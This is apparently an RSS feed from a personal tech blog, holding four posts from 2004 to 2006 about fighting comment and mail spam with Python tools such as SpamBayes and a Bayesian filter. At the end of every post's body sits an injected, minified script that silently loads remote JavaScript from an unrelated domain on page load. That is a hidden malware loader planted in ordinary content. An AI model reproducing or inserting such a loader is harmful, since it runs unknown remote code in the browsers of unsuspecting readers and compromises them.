<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; spam</title>
	<atom:link href="http://www.larsen-b.com/tags/spam/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to spam-protect your python-based blog with bayesian filter.</title>
		<link>http://www.larsen-b.com/Article/244.html</link>
		<comments>http://www.larsen-b.com/Article/244.html#comments</comments>
		<pubDate>Fri, 17 Nov 2006 19:57:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny stuffs) I &#8216;m already using a good email spam filter: SpamBayes, so I decided to test bayesian &#8230; <a href="http://www.larsen-b.com/Article/244.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny <a class="reference" href="http://www.larsen-b.com/Article/239.html">stuffs</a>)</p>
<p>I &#8216;m already using a good email spam filter: <a class="reference" href="http://www.larsen-b.com/Article/112.html">SpamBayes</a>, so I decided to test bayesian filtering for the spam on this blog too.</p>
<p>I decided to give <a class="reference" href="http://divmod.org/trac/">Reverend</a> a try:</p>
<pre class="literal-block">from reverend.thomas import Bayes

SPAM_DB='spam.bayes'
guesser = Bayes()

# load the spam DB
try:
    guesser.load(SPAM_DB)
except IOError:
    print "Creating a new spam filter database"
    guesser.save(SPAM_DB)

def train_spam(text):
    guesser.train('spam',text)
    guesser.save(SPAM_DB)

def train_ham(text):
    guesser.train('ham',text)
    guesser.save(SPAM_DB)

# try to guess the spam / ham ratio of a text
def guess(text):
    spam = 0
    ham = 0
    value = guesser.guess(text)
    for o in value:
        if o[0] == 'ham': ham = o[1]
        if o[0] == 'spam': spam = o[1]
    return (ham,spam)</pre>
<p>Small, and really simple module no ? The next step, simply add a &#8216;spam&#8217; and &#8216;ham&#8217; attributes on your comment post. And add two methods to train the comment as a spam or a ham.. And of course, only display comments which have a good ratio ( &gt;1) ham/spam. This took me about 1 hour to implement&#8230;</p>
<p>After a week, of train, this is working very fine, not a single false positive, and it filter every spam since the first trains. As I get around 20 spams post per day, this is quite a good news ;)</p>
<p><strong>Enjoy Bayesian ?</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/244.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>How to spam a blog with Plone for Free :(</title>
		<link>http://www.larsen-b.com/Article/239.html</link>
		<comments>http://www.larsen-b.com/Article/239.html#comments</comments>
		<pubDate>Sat, 23 Sep 2006 01:19:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Since a while I have a lot of spam comments on this blog. This method is a bit funny this time. A spammer (a guy or a bot) create a lot of account on Plone websites. And in his personnal &#8230; <a href="http://www.larsen-b.com/Article/239.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Since a while I have a lot of spam comments on this blog. This method is a bit funny this time. A spammer (a guy or a bot) create a lot of account on <a class="reference" href="http://www.plone.org/">Plone</a> websites. And in his personnal page (for this account) he put a redirect to a viagra vendor..</p>
<p>Little example of link:</p>
<p><strong>Update:</strong> Hum a little variant now, I get the same w/ bloglines ..</p>
<pre class="literal-block">http://www.kaotonik.net/zope/thk/portal_memberdata/portraits/mv#viagra

http://www.bloglines.com/blog/harrison</pre>
<p>This is a kind of free hosting ;) So the next stuff is to post a link on blogs to this page. Now why are he doing this kind of hack ? I guess this avoid to be blacklisted by some antispam rules on certain blog software and allow to play with the Google Rank &#8230;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/239.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Full featured SMTP in Python ?</title>
		<link>http://www.larsen-b.com/Article/154.html</link>
		<comments>http://www.larsen-b.com/Article/154.html#comments</comments>
		<pubDate>Wed, 01 Sep 2004 21:34:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a recent post Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the &#8230; <a href="http://www.larsen-b.com/Article/154.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a recent <a class="reference" href="http://blog.colorstudy.com/ianb/weblog/2004/08/31.html#P153">post</a> Ian explain he get a lot of trouble w/ the configuration of his mail system. I ran into the same issues a little time ago. Now i&#8217;m using postfix and courier-imap and maildrop to dispatch the mail between. This setup is really easy because Postfix just accept incomming mail, and maildrop deliver it in the right imap folders. By this way, i only have to tweak maildrop to add some users. And works fine with virtualhost. In my current setup, i&#8217;m using a home-made spambayes deamon (<a class="reference" href="http://www.larsen-b.com/Article/112.html">sb_global_server</a>), to spam-tag all incomming mail. (even for virtual host users)</p>
<p>Now, i need to setup a mailing list manager&#8230; and issues are back again :( I read the mailman howto, and no, it doesn&#8217;t support virtual-hosting out-of-the-box. Play with a bunch of alias? no thanks&#8230; I can use another one of course, but intregation w/ postfix is not so-trivial for most of them.</p>
<p>So why not write a full featured SMTP daemon in Py? We will get:</p>
<ul class="simple">
<li>a system that can scale easily ..</li>
<li>support for most of db-backend without a pain</li>
<li>can embed spambayes .. or any other filtering system in only one piece of code ..</li>
<li>only one users configuration (not to use LDAP or others to glue..)</li>
</ul>
<p>Right now, if you want to have a good mail system you need to use a bunch of stuffs, written in a bunch of langage .. and use a bunch of tricks to glue each others&#8230; But everybody wants a nice/simple mail system ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/154.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>SpamBayes server compliant w/ spamassassin</title>
		<link>http://www.larsen-b.com/Article/112.html</link>
		<comments>http://www.larsen-b.com/Article/112.html#comments</comments>
		<pubDate>Sat, 24 Apr 2004 20:10:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd). &#8230; <a href="http://www.larsen-b.com/Article/112.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m using spambayes for a long time now. But when i decide to install it for all the curent users of my setup (w/ some virtual domains..), i just discover that spambayes don&#8217;t have a system-wide deamon like spamassasin (spamd).</p>
<p>So the first try:</p>
<ul class="simple">
<li>install spamassassin :) .. This mail filtering is just a bulshit ! Even w/ the training done on a mail, it achieve to deliver it as &#8216;unsure spam&#8217; !!</li>
<li>put spamassin away .. but keep piece :)</li>
</ul>
<p>I first decided to write another client / server for spambayes. but looking at all the stuff writen in spamc (spamassassin client) i discover i will need a lot of nights (i&#8217;m not a C guru . even if the little try i wrote works perferctly )</p>
<p>Nice try, but why i shouldn&#8217;t simply write a server that use spamc as client ? .. could be really easy and efficient too (spamc is really efficient) ..</p>
<p>i just finish to write <a class="reference" href="http://mail.python.org/pipermail/spambayes-dev/2004-April/002748.html">this</a> and  submit to the dev list<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/112.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
